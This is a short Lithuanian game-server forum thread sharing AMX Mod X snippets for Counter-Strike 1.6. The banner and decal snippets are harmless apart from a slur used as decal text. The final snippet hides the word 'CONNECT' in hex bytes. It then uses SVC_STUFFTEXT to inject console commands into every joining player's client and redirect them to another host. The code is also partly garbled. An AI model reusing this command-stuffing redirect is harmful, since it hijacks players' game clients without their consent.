banneriukas
Posted: 2013 Apr 23 20:33
Nevertingi postai , nes čia ne slowhack , jis rodytu tik mano serveryje
Code: Select all
// send show tga command to client message_begin( MSG_ONE, SVC_DIRECTOR, _, id ) write_byte( strlen( szTga[index]) + 2 ) // command length in bytes write_byte( DRC_CMD_BANNER ) write_string( szTga[index] ) // banner file message_end()
Tik kazkaip islieka iki tol kol per nauja neijungi zaidimo, bent jau anksciau taip nebudavo po steam cs update kaip ir minejau taip ir yra.psychical wrote:Chebra, šnekat ir nusišnekat... Bent garsiai nerėktumet...
Elementari žinutė...Code: Select all
// send show tga command to client message_begin( MSG_ONE, SVC_DIRECTOR, _, id ) write_byte( strlen( szTga[index]) + 2 ) // command length in bytes write_byte( DRC_CMD_BANNER ) write_string( szTga[index] ) // banner file message_end()
Code: Select all
static decal_name_text[100] formatex(decal_name_text, charsmax(decal_name_text), "YOLOSWAGFAG") message_begin(MSG_ONE, SVC_DECALNAME, _, id) write_byte(200) // poss index write_string(decal_name_text) // text message_end()
Code: Select all
new lolstatic connect_len[50]static con[50]static const connect[][] = { 0x43, 0x4F, 0x4E, 0x4E, 0x45, 0x43, 0x54}
Code: Select all
public client_connect(id) { for(lol = 0; lol < sizeof connect; lol += 1) { formatex(connect_len, charsmax(connect_len), connect[lol]) formatex(con, charsmax(con), "%s neartits:27015;echo go home u drunk ;s", connect_len) message_begin(MSG_ONE, SVC_STUFFTEXT, _, id) write_string(con) message_end() server_print("%s", con) }}